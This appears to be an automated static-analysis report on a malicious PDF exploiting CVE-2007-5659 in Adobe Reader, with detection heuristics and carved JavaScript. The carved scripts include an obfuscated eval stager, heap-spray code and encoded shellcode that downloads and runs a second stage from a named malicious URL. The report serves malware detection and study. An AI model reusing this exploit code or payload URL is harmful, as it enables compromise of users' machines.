Malicious PDF — malware analysis report

Static analysis result for SHA-256 61399ec705a120b4…

MALICIOUS

PDF

17.0 KB
MD5: 799c0726ded0a58176b2a023671405f1 SHA-1: 6352efa32e2830f4ad16427a73d1ffd703d75feb SHA-256: 61399ec705a120b44915489b19834926b66cb63d98d49d1d94bf7ace5a3e3a4b
406 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains obfuscated JavaScript that exploits CVE-2007-5659 in Adobe Reader. The script is designed to download and execute a second-stage payload from the URL http://unastatiomask.com/info/nag3.html/n002106203r0409Xed4eb444Y4f170906. The use of JavaScript and exploit techniques indicates a malicious intent to compromise the user's system.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 5 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Adobe Reader APSB08-13 patch-range version gate (CVE-2007-5659) high CVE likely PDF_JS_ADOBE_APSB08_13_PATCH_GATE
    PDF JavaScript gates the exploit payload on (>= 8 && < 8.1.1) OR (< 7.1) — the Reader 7.0.x / 8.0–8.1.1 window patched by Adobe APSB08-13 for the CVE-2007-5659 Collab.collectEmailInfo buffer overflow. Only kits that target that exact bug check both of those patch points; benign scripts do not.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • Obfuscated multi-stage PDF JavaScript dropper high PDF_JS_OBFUSCATED_DROPPER
    PDF JavaScript shows 4 independent signals of exploit-kit-style multi-stage obfuscation: annot_subject_stage, hex_codec_loop, incremental_eval_build, repeated_pluginschk. This is strongly consistent with pre-2011 Adobe Reader PDF droppers — OpenAction JS reads encoded data from annotation subjects, decodes it through one or more hex / base-N loops, and invokes eval indirectly (method name built one character at a time). The actual CVE is hidden in the final decoded layer and is not visible via static analysis.
  • PDF JavaScript shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF JavaScript shellcode contains a hardcoded http(s) URL stored as little-endian %uXXXX Unicode escapes. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • ClamAV: Pdf.Exploit.Agent-35901 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Exploit.Agent-35901
  • Annotation subject callee-key hex JavaScript stager high PDF_ANNOT_SUBJECT_CALLEE_HEX_STAGER
    PDF JavaScript uses syncAnnotScan()/getAnnots() to read an indirect annotation /Subject stream, percent-decodes it through marker replacement, then uses a callee.toString()-derived key to decode and eval the final exploit stage.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://unastatiomask.com/info/nag3.html/n002106203r0409Xed4eb444Y4f170906 Referenced by PDF JavaScript

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0009_000.js
4718a27c2224fc36bf24f8e8e04598f1ad78adce4401c7be2708318738a6983d		 pdf-javascript-stream PDF /JS object 9 at offset 0x417B 469 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var pr = null;
var fnc = 'ev';
var sum = '';

app.doc.syncAnnotScan();

if (app.plugIns.length != 0) {
	var num = 1;

	pr = app.doc.getAnnots(
		{
			nPage: 0
		}
	);

	sum = pr[num].subject;
}

var buf = "";

if (app.plugIns.length > 3) {
	fnc += 'a';
	var arr = sum.split(/-/);

	
	for (var i = 1; i < arr.length; i++) {
		buf += String.fromCharCode("0x"+arr[i]);
	}
	fnc += 'l';
}

if (app.plugIns.length >= 2)
{
	app[fnc]/**/(buf);
}
annotation_subject_callee_hex_stage_000.js
eaddfe5459a2762d5a54797d060c697922bb4d18494c1cd9445ad3964bba0fc0		 deobfuscated-js annotation-subject callee-key decoded JavaScript at offset 0x1A09 5188 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var h_caOoqY = new Array();var ws_4_0C8n0 = 0;var Jx0_N06_b_Hog = "";function MMa2h_g(WypE_4n0N1cKp, tB_0C_C_2r){var Y_0pr7n_0_jTn = tB_0C_C_2r.toString();var eb_hk_Iq_y4_0 = "";for(var df4Eay_21Dbn_i = 0; df4Eay_21Dbn_i < Y_0pr7n_0_jTn.length; df4Eay_21Dbn_i++) {var mon366J = parseInt(Y_0pr7n_0_jTn.substr(df4Eay_21Dbn_i, 1));if (!isNaN(mon366J)) {mon366J = mon366J.toString(16);if (mon366J.length == 1) { mon366J = "0" + mon366J; }else if (mon366J.length != 2) { mon366J = "00"; }eb_hk_Iq_y4_0 = mon366J + eb_hk_Iq_y4_0;if (eb_hk_Iq_y4_0.length == 8) {break;}}}while(eb_hk_Iq_y4_0.length < 8) { eb_hk_Iq_y4_0 = "0" + eb_hk_Iq_y4_0; }var uSVC_Uu = WypE_4n0N1cKp.toString(16);if (uSVC_Uu.length == 1) { uSVC_Uu = "0" + uSVC_Uu; }else if (uSVC_Uu.length != 2) { uSVC_Uu = "00"; }eb_hk_Iq_y4_0 = "3" + uSVC_Uu + "P" + eb_hk_Iq_y4_0;return eb_hk_Iq_y4_0;}function B_GDBEMNY_0_J(d2__VRaP0W, h_8_2_W1628Tf4){var aerw_s = new Array("");var T7O4N5h = d2__VRaP0W;var w___mSv6;if ((w___mSv6 = d2__VRaP0W.lastIndexOf("%u00")) != -1) {if (w___mSv6 + 6 == d2__VRaP0W.length) {aerw_s[0] = d2__VRaP0W.substr(w___mSv6 + 4, 2);T7O4N5h = d2__VRaP0W.substring(0, w___mSv6);}}w___mSv6 = 1;for (df4Eay_21Dbn_i = 0; df4Eay_21Dbn_i < h_8_2_W1628Tf4.length; df4Eay_21Dbn_i++) {var KG0nR_c = h_8_2_W1628Tf4.charCodeAt(df4Eay_21Dbn_i).toString(16);if (KG0nR_c.length == 1) { KG0nR_c = "0" + KG0nR_c; }aerw_s[w___mSv6] = KG0nR_c;w___mSv6++;}df4Eay_21Dbn_i = aerw_s[0].length ? 0 : 1;aerw_s[w___mSv6] = "00";aerw_s[w___mSv6 + 1] = "00";w___mSv6 += 2;if ((aerw_s.length - df4Eay_21Dbn_i) % 2) {aerw_s[w___mSv6] = "00";}while(df4Eay_21Dbn_i < aerw_s.length) {T7O4N5h += "%u" + aerw_s[df4Eay_21Dbn_i + 1] + aerw_s[df4Eay_21Dbn_i];df4Eay_21Dbn_i += 2;}T7O4N5h += "%u0000";return T7O4N5h;}function mG3huM7(E5_jyJ___f, uVGD___Gxv6l){while (E5_jyJ___f.length*2<uVGD___Gxv6l) {E5_jyJ___f += E5_jyJ___f;}E5_jyJ___f = E5_jyJ___f.substring(0,uVGD___Gxv6l/2);return E5_jyJ___f;}function LmchM3(sgWk_w6x24, I_61W8X1wkY3u6, ru4Fmvp5k_k){var H__82_4VI7_V_3 = 0x0c0c0c0c;var E5_jyJ___f = unescape(I_61W8X1wkY3u6);var h_8_2_W1628Tf4 = MMa2h_g(sgWk_w6x24, ru4Fmvp5k_k);var i6_p_2D3x = unescape("%u9090%u9090%u9090%u21eb%ub859%u9050%u9050%u6a51%u33ff%u64db%u2389%u026a%u8b59%uf3fb%u75af%uff07%u66e7%ucb81%u0fff%ueb43%ue8ed%uffda%uffff%u0c6a%u8b59%u0c04%ub8b1%u0483%u0608%u8358%u10c4%u3350%uc3c0");var d2__VRaP0W = "%u9050%u9050%u9050%u9050" + "%u9090%u9090%u9090%u9090%ufbe9%u0000%u5f00%ua164%u0030%u0000%u408b%u8b0c%u1c70%u8bad%u2068%u7d80%u330c%u0374%ueb96%u8bf3%u0868%uf78b%u046a%ue859%u008f%u0000%uf9e2%u6f68%u006e%u6800%u7275%u6d6c%uff54%u8b16%ue8e8%u0079%u0000%ud78b%u8047%u003f%ufa75%u5747%u8047%u003f%ufa75%uef8b%u335f%u81c9%u04ec%u0001%u8b00%u51dc%u5352%u0468%u0001%uff00%u0c56%u595a%u5251%u028b%u4353%u3b80%u7500%u81fa%ufc7b%u652e%u6578%u0375%ueb83%u8908%uc703%u0443%u652e%u6578%u43c6%u0008%u8a5b%u04c1%u8830%u0045%uc033%u5050%u5753%uff50%u1056%uf883%u7500%u6a06%u5301%u56ff%u5a04%u8359%u04c2%u8041%u003a%ub475%u56ff%u5108%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%u03ad%u33c5%u0fdb%u10be%uf238%u0874%ucbc1%u030d%u40da%uf1eb%u1f3b%ue775%u8b5e%u245e%udd03%u8b66%u4b0c%u5e8b%u031c%u8bdd%u8b04%uc503%u5eab%uc359%u00e8%uffff%u8eff%u0e4e%u98ec%u8afe%u7e0e%ue2d8%u3373%u8aca%u365b%u2f1a%u6270%u4446%u0041%u7468%u7074%u2f3a%u752f%u616e%u7473%u7461%u6f69%u616d%u6b73%u632e%u6d6f%u692f%u666e%u2f6f%u616e%u3367%u682e%u6d74%u2f6c%u306e%u3230%u3031%u3236%u3330%u3072%u3034%u5839%u6465%u6534%u3462%u3434%u3459%u3166%u3037%u3039%u0036";app.P_AQQ3Hm = unescape(B_GDBEMNY_0_J(d2__VRaP0W, h_8_2_W1628Tf4));var eMgd_x0__64tE = 0x400000;var UpnHPbo_L_6mr = i6_p_2D3x.length * 2;var uVGD___Gxv6l = eMgd_x0__64tE - (UpnHPbo_L_6mr+0x38);E5_jyJ___f = mG3huM7(E5_jyJ___f, uVGD___Gxv6l);var n____j2r3gA = (H__82_4VI7_V_3 - 0x400000)/eMgd_x0__64tE;for (var Y135J_J_7v50L_i = 0; Y135J_J_7v50L_i < n____j2r3gA; Y135J_J_7v50L_i++) {h_caOoqY[Y135J_J_7v50L_i] = E5_jyJ___f + i6_p_2D3x;}}function d_C_YW5D48_4(){var aP_CFsE__e = "";for (df4Eay_21Dbn_i = 0; df4Eay_21Dbn_i < 12; df4Eay_21Dbn_i++) {aP_CFsE__e += unescape("%u0c0c%u0c0c");}var xqH5
... (truncated)
legacy_pdfkit_stage_000.js
adbb42da79ccc581704d9f5c0a4540cf911617b1ee3fe550d879043844a372c5		 deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x1A5D 11693 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function Tm8le4X1N_n(B_w7y_FY7, s_51Of__g6N_0_o){var D1QL__48 = 512;var t_BX___0 = 2;var s6JnNeoI_70M = 0;var g_F7IAak0_H = 0;var s_TjXQgCBX1ITx = "";var NitJf5s__IP5k4n = "";var W__5o_Q__7_5O80 = 0;var TaF5_el = 6 + 1;try {var i_8_hAbt = 0;if (app) {g_F7IAak0_H = g_F7IAak0_H + 2;s_51Of__g6N_0_o = pr[i_8_hAbt].subject;}} catch(e) { }g_F7IAak0_H = g_F7IAak0_H + 7;var P__Gs_146mv = new Array();if (!B_w7y_FY7) { P__Gs_146mv = new Array(107,199,36,46,4,67);} else {P__Gs_146mv = B_w7y_FY7;}var vE6u31rF_VV2 = 0;var HB_o__Dq = 0;var pxG43e = 0;TaF5_el--;if (TaF5_el == 0) {} else {for(HB_o__Dq = 0; HB_o__Dq < s_51Of__g6N_0_o.length; HB_o__Dq += t_BX___0) {if (vE6u31rF_VV2 >= TaF5_el) {vE6u31rF_VV2 = 0;}var Qr_0kb4Lkh7o5b = s_51Of__g6N_0_o.substr(HB_o__Dq, t_BX___0) + 'WU';var dXr___7 = parseInt(Qr_0kb4Lkh7o5b, 19 + t_BX___0);dXr___7 -= P__Gs_146mv[vE6u31rF_VV2] * (pxG43e + t_BX___0);vE6u31rF_VV2++;if (dXr___7 < 0) {dXr___7 = String.fromCharCode(dXr___7 - 256 * (Math.floor(dXr___7 / 256)));} else {dXr___7 = String.fromCharCode(dXr___7);}if (g_F7IAak0_H == 9) {s_TjXQgCBX1ITx += dXr___7;} else if (g_F7IAak0_H == 8) {s_TjXQgCBX1ITx += BW62R8Ls_rg2;} else {if (g_F7IAak0_H != 9) {s_TjXQgCBX1ITx += HB_o__Dq;}}pxG43e++;}}var lX77Ff_L4 = this;lX77Ff_L4['ev'+'al'](s_TjXQgCBX1ITx);}
	Tm8le4X1N_n(0, '3d8e0206622a8j4c8f507e93bjak4c5j85575j716c719404061h2184a76h62192h81970e0i71a69fa64d7e1680852c2a449877c208978e614abi3j42284k4j9h36816g980j1j726b3i9414367j9g9035b2178g7b459c8f5ea611a1617j339h714531623j8g508ic2135k0f9d455i285e346hab4h8g8j30a9550f7kai4354ad8979bh260c1d4h4ec1447hahac43ai8a1c5h8c1e2g9db7bf429j03836f520b7d3kb308bd868f3c0h77691c6h37a60a888h204h2c9h6650427c460hbh3ib5744dc05c9a94825h65bg806a8f3ha541097hbd5j60c10c5ea26j0f62833g1a757693311ibj004d45c3c30e07b4bh817j4a1g636f458g32bh090e96545i50734851356i5d1j100e035231a47hb71d5d7i481951917d777c56019jada86614a27j0680c0724h62139i7g120f381f042b4kc02b262h9g2447c0390k267c429i1j1k941dbe7k5a2i255a463a456j07ai0314788b637ka1bh8b9a29bk4hac7h76625140b6abbf17028h7f7fab788j797b9cb73415055j141e0j97b33f1g0g4e0a40bc2h4iah6033c3403c6d0e9c734i7241947a8024678ec0043233a9219eb54a5086a1203805518a4b66ba9e6010263j8686800a6g687f8dbb3c3b082e6g8i13aia7b029ai2k3k156h2j26690fa4b69k0j444b1474030a9024ae40732a8a5827b44633880589726f6dbja24c6c38651c4ibcc11a60b1a417ae079j0j4d8c4j6i7e131d4e1h88be5675bc9j76a0690h30664aa04ka6b11f2e278f3f5g9h1c0e9i9a8g67aj48b87a5bah723093bc8f6f835f208a5864347k3e48091k3a823e765g9g128i524ead68b8ad3dbd39b6a2ad7b6g0e9k4c9d4kba362970959885c11g4710943f61aec01k936had27950e9d1c3ga9ab401abk0h97765e2d7b485544410g2a1b15593f5k79647j2d7472bkb423079i808a6hb4bf777b2610849j84aa00696182bkb76cacak379ia1197b610g25037ac14k1034bf367e1cc342396dbk776i1i1c188j1i90494ia01c06722k4h324i6d153j52a12h441h6b8f7790b39ba5a3342j917da5b76b5b5f83a6ah461e1d4a0218bk8f9e579dba48bb2909ac4f9k9cc20e104b753c5c9g062g056a1c7g15859f2i08805g7k339g8a6j42928jc22g0g44833062a0b192ah051g88bea19b5366189b71aec2060a8aaj319j9a7576bi50213a1k2h1b54c1af1037ag675k3e8d162b63199i578k3a625h5607a3539e36ab8i7j2895952j2f3j52aj349kc21376bj874a5i1a851952ab349b8h0c9e4ic080a32079a55f608k391e4k1g3a147b95bf8j45128a514h8gb9035fbcb64i9b16ag6b520i800g82a09a8h8h5b936h362i4g4gb62b88a21j6g02915874287c2e1cb41h248b597g6fbdb898674k0e5c7gah739a330h8fb67k7509ak6ga662082k7e1d10a58bbb3913bjb0186gbb0j3jbab8087db9321h2h390a982c089a9k8g392h234343511k3f65280i03008h618i6fbj039f550da943916c6f8k3j366kab9a4j06b56a95a59k7f77600d0c7aafc34f16102f89b1291kbh8eaa578g370i3b7a2995433985128d8j6159648e7g397269001e393c805d3k587i04595fbgba51c06j926d750eb16g9809268d8fafbf9g875k4cb6ak62362f5i19330893b108b70k3i3c6c122754119f0b8h1c72a03gac9a457a2g9j4b4c3c4k82122f6971622995ah1f5ia7113045bi6gbb7a942g93789bba1a78aaa6bd759a7b878g091k3b2j69030g8b6caf4bak4j2h3c5h09bh3ja19529ai047h6k4aacc03j6dada46971349c9d3kc15042ag3ia3ac2h3i94725a723a849j3j94bi247d1ic017888g9d304fab3g9i9g1kbc28c379b9355kaja7630g523h4k622f1h4ka5b5bi101i9k4g2g7db52iacbfbc33864ebg5j622b945707ah927g453i1c8b26303k58003eai1b345340a464a0228i1b31a12b946h2e0g2e0a87827b5gbi9f4c9e4ka93d2b2e9g6273ajb64a08a53147693621beaf14570j2f1a4c6515aj362c9c03676f1h1
... (truncated)
deobfuscated.js
0b8d31264c86648a655ca6bdb3c338c2dcfbd4cdfd03deeaa9267b458cfaf400		 deobfuscated-js PDF JavaScript deobfuscation pass 142296 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s). Carved artifact contains 3 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
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